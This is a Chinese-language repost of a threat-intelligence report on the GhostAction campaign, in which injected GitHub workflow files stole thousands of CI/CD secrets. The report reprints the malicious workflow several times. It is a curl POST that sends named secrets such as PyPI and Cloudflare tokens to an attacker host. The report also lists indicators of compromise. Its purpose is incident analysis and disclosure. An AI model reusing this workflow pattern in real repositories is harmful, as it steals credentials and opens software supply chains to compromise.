文章总结: GitGuardian于2025年9月发现GhostAction软件供应链攻击活动,攻击者通过注入恶意GitHub工作流文件窃取了817个仓库中的3325个密钥,包括PyPI、npm和DockerHub令牌等。攻击模式为枚举合法工作流中的密钥名称并硬编码到恶意脚本中,通过HTTPPOST发送到攻击者控制端点。研究发现多个公司SDK产品组合被入侵,目前仍有9个NPM和15个PyPI软件包面临风险,建议用户及时检查工作流文件并回滚恶意提交。 综合评分: 87 文章分类: 供应链安全,漏洞分析,威胁情报,安全事件,WEB安全
GhostAction攻击事件:恶意工作流致3275个密钥从GitHub仓库泄露
Dubito Dubito
云原生安全指北
2025年9月9日 08:35 江苏
在小说阅读器读本章
去阅读
注:本文翻译自GitGuardian的文章《The GhostAction Campaign: 3,325 Secrets Stolen Through Compromised GitHub Workflows》[1],可点击文末“阅读原文”按钮查看英文原文。
全文如下:
摘要
2025年9月5日,GitGuardian 发现了 GhostAction,这是一场影响 817 个仓库中 327 位 GitHub 用户的大规模软件供应链攻击。攻击者注入恶意工作流,通过 HTTP POST 请求远程端点窃取了 3,325 个secrets,其中包括 PyPI、npm 和 DockerHub 令牌。
一、初始发现
2025年9月5日,GitGuardian 安全研究团队内部收到警报,提示与 FastUUID 项目[2] 关联的一个 GitHub 仓库可能受到入侵。调查发现,一个恶意的 GitHub 工作流文件被注入到了该项目中。
受感染的维护者、GitHub 用户 Grommash9 于 2025年9月2日推送了该恶意提交。该提交标题为“Add Github Actions Security workflow”,包含一个旨在窃取secrets的 GitHub Action 工作流文件:
name: GithubActionsSecurity
on:
workflow_dispatch:
push:
jobs:
send-secrets:
runs-on:ubuntu-latest
steps:
-name:PrepareCacheBusting
run:echo"CACHE_BUST=$(date +%s)">>$GITHUB_ENV
-name:GithubActionsSecurity
run:|
curl-s-XPOST-d'PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}' hxxps://bold-dhawan.45-139-104-115.plesk.page
该工作流从 CI/CD 环境中提取 PyPI 令牌,并将其发送到攻击者控制的服务器。FastUUID 项目的合法工作流使用此令牌进行软件包部署,显示secrets名称的合法工作流文件如下:
name: FastUUIDCI/CD
on:
push:
branches: [master]
tags:
-'[0-9]+.[0-9]+.[0-9]+'
pull_request:
branches: [master]
jobs:
test:
runs-on:${{matrix.os}}
strategy:
[...]
build-and-publish:
needs:test
runs-on:${{matrix.os}}
if:github.event_name=='push'&&contains(github.ref,'.')
strategy:
matrix:
os: [ubuntu-latest, windows-latest, macos-latest]
python-version: ['3.8', '3.9', '3.10', '3.11', '3.12', '3.13']
steps:
-uses:actions/checkout@v4
[...]
-name:PublishtoPyPI
env:
TWINE_USERNAME:__token__
TWINE_PASSWORD:${{secrets.PYPI_API_TOKEN}}
run:twineupload target/wheels/*
该恶意工作流文件在威胁行为者的提交被推送后运行,并成功窃取了相应的 PyPI 令牌。
恶意工作流运行
尽管该令牌本应允许攻击者危害 PyPI 上的 FastUUID 软件包,但我们未发现在入侵窗口期内有恶意软件包发布的证据。
被入侵的 PyPI 令牌所有者未发布新版本
我们的工程团队成员 Charles Brossollet 于 9 月 5 日在 GitHub 项目上创建了 一个警报 issue[3] 并向 PyPI 报告了此事件。12:11,PyPI 将该项目设置为只读状态。12:30,被入侵的用户回滚了恶意提交。
鉴于如此迅速的响应时间线,我们预计 FastUUID 事件的安全影响非常有限。虽然该软件包是包括 BerriAI/litellm[4] 在内的广泛使用项目的依赖项,但并未发生恶意发布。
二、远超预期的波及范围
攻击者在初始入侵后的三天内未采取行动,这表明 FastUUID 并非其主要目标。我们的调查揭示了一场规模更大的行动。
我们发现,该被入侵的用户在同一天向至少 5 个其他公共仓库和大约 10 个私有仓库推送了相同的恶意提交。
每一次提交都部署了类似的工作流,这些工作流修改了针对同一窃取端点的secrets列表:
name: GithubActionsSecurity
on:
workflow_dispatch:
push:
jobs:
send-secrets:
runs-on:ubuntu-latest
steps:
-name:PrepareCacheBusting
run:echo"CACHE_BUST=$(date +%s)">>$GITHUB_ENV
-name:GithubActionsSecurity
run:|
curl-s-XPOST-d'PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}&WHITE_BIT_API_KEY=${{ secrets.WHITE_BIT_API_KEY }}&WHITE_BIT_SECRET_KEY=${{ secrets.WHITE_BIT_SECRET_KEY }}' hxxps://bold-dhawan.45-139-104-115.plesk.page
这些额外被入侵的仓库指向了一个潜在的更重要的恶意活动。
利用我们的 GitHub 提交历史数据集,我们在多个仓库中识别出数百个类似的恶意提交。我们的分析显示,有 327 名用户成为了此次活动的受害者。根据初步调查,我们发现这些用户与近期的 S1ngularity 攻击活动[5]的受害者没有交集。这两起事件很可能无关。
所有项目中的攻击模式保持一致。攻击者首先从合法工作流文件中枚举secrets,然后将这些secrets名称硬编码到恶意工作流中:
name: GithubActionsSecurity
on:
workflow_dispatch:
push:
jobs:
send-secrets:
runs-on:ubuntu-latest
steps:
-name:PrepareCacheBusting
run:echo"CACHE_BUST=$(date +%s)">>$GITHUB_ENV
-name:GithubActionsSecurity
run:|
curl-s-XPOST-d'CF_ACCOUNT_ID=${{ secrets.CF_ACCOUNT_ID }}&CF_API_TOKEN=${{ secrets.CF_API_TOKEN }}&CLOUDFLARE_ACCOUNT_ID=${{ secrets.CLOUDFLARE_ACCOUNT_ID }}&CLOUDFLARE_API_TOKEN=${{ secrets.CLOUDFLARE_API_TOKEN }}' hxxps://bold-dhawan.45-139-104-115.plesk.page
我们在整个活动中识别出 3,325 个被泄露的secrets,其中 DockerHub 凭证、GitHub 令牌和 NPM 令牌是最常见的类型。被泄露的 NPM 令牌造成了持续的软件供应链风险。
在整个活动中,窃取端点始终设置为 hxxps://bold-dhawan.45-139-104-115.plesk.page。截至 2025 年 9 月 5 日下午 12:39,该主机名解析到 45.139.104.115,这是一个托管于 493networking.cc 的 IP 地址。该主机名自 9 月 5 日下午 4:15 起停止解析。
三、披露
在完成影响评估后,我们开始通过在所有被入侵的仓库中创建 issue 来提醒受影响的用户和项目。在 817 个受影响的仓库中,已有 100 个回滚了恶意更改。我们成功地在其余 717 个项目中的 573 个里创建了 issue——其他项目要么已被删除,要么禁用了 issue 功能。
此次披露推动了快速的修复工作。与受影响开发者的初步沟通证实,攻击者正在积极利用被窃取的secrets,包括 AWS 访问密钥和数据库凭证。
我们使用 GitHub issue 活跃度作为项目受欢迎程度的代理指标进行了进一步研判,拥有更多 issue 的仓库表明其使用率更高,潜在影响也更大。该分析揭示了多个软件包生态系统(包括 Rust crate 和 npm 软件包)中的令牌均遭泄露。发现有几家公司的整个 SDK 产品组合均被入侵,其 Python、Rust、JavaScript 和 Go 仓库同时受到恶意工作流的影响。
2025 年 9 月 5 日下午 3:50,我们将此活动通知了 GitHub、NPM 和 PyPI 的安全团队,并且我们正在对这些及其他软件包注册表进行持续监控,以核实没有泄露的令牌被用于发布恶意制品。根据我们的初步调查,目前有 9 个 NPM 和 15 个 PyPI 软件包在未来几小时或几天内面临被入侵的风险。
四、入侵指标 (IOCs)
4.1 网络指标
- • 恶意端点:
hxxps://bold-dhawan.45-139-104-115.plesk.page - • IP 地址:45.139.104.115
- • HTTP 方法:携带secret数据的 POST 请求
4.2 GitHub 工作流指标
- • 恶意工作流名称:Github Actions Security
- • 文件路径:
.github/workflows/github_actions_security.yml - • 提交信息:
Add Github Actions Security workflow
五、视频讲解
详见YouTube视频:https://youtu.be/Em0MsaxFyrw
引用链接
[1] 《The GhostAction Campaign: 3,325 Secrets Stolen Through Compromised GitHub Workflows》: https://blog.gitguardian.com/ghostaction-campaign-3-325-secrets-stolen/
[2] FastUUID 项目: https://pypi.org/project/fastuuid/?ref=blog.gitguardian.com
[3] 一个警报 issue: https://github.com/fastuuid/fastuuid/issues/56?ref=blog.gitguardian.com
[4] BerriAI/litellm: https://github.com/BerriAI/litellm/?ref=blog.gitguardian.com
[5] S1ngularity 攻击活动: https://blog.gitguardian.com/the-nx-s1ngularity-attack-inside-the-credential-leak/
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:云原生安全指北 Dubito Dubito《GhostAction攻击事件:恶意工作流致3275个密钥从GitHub仓库泄露》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论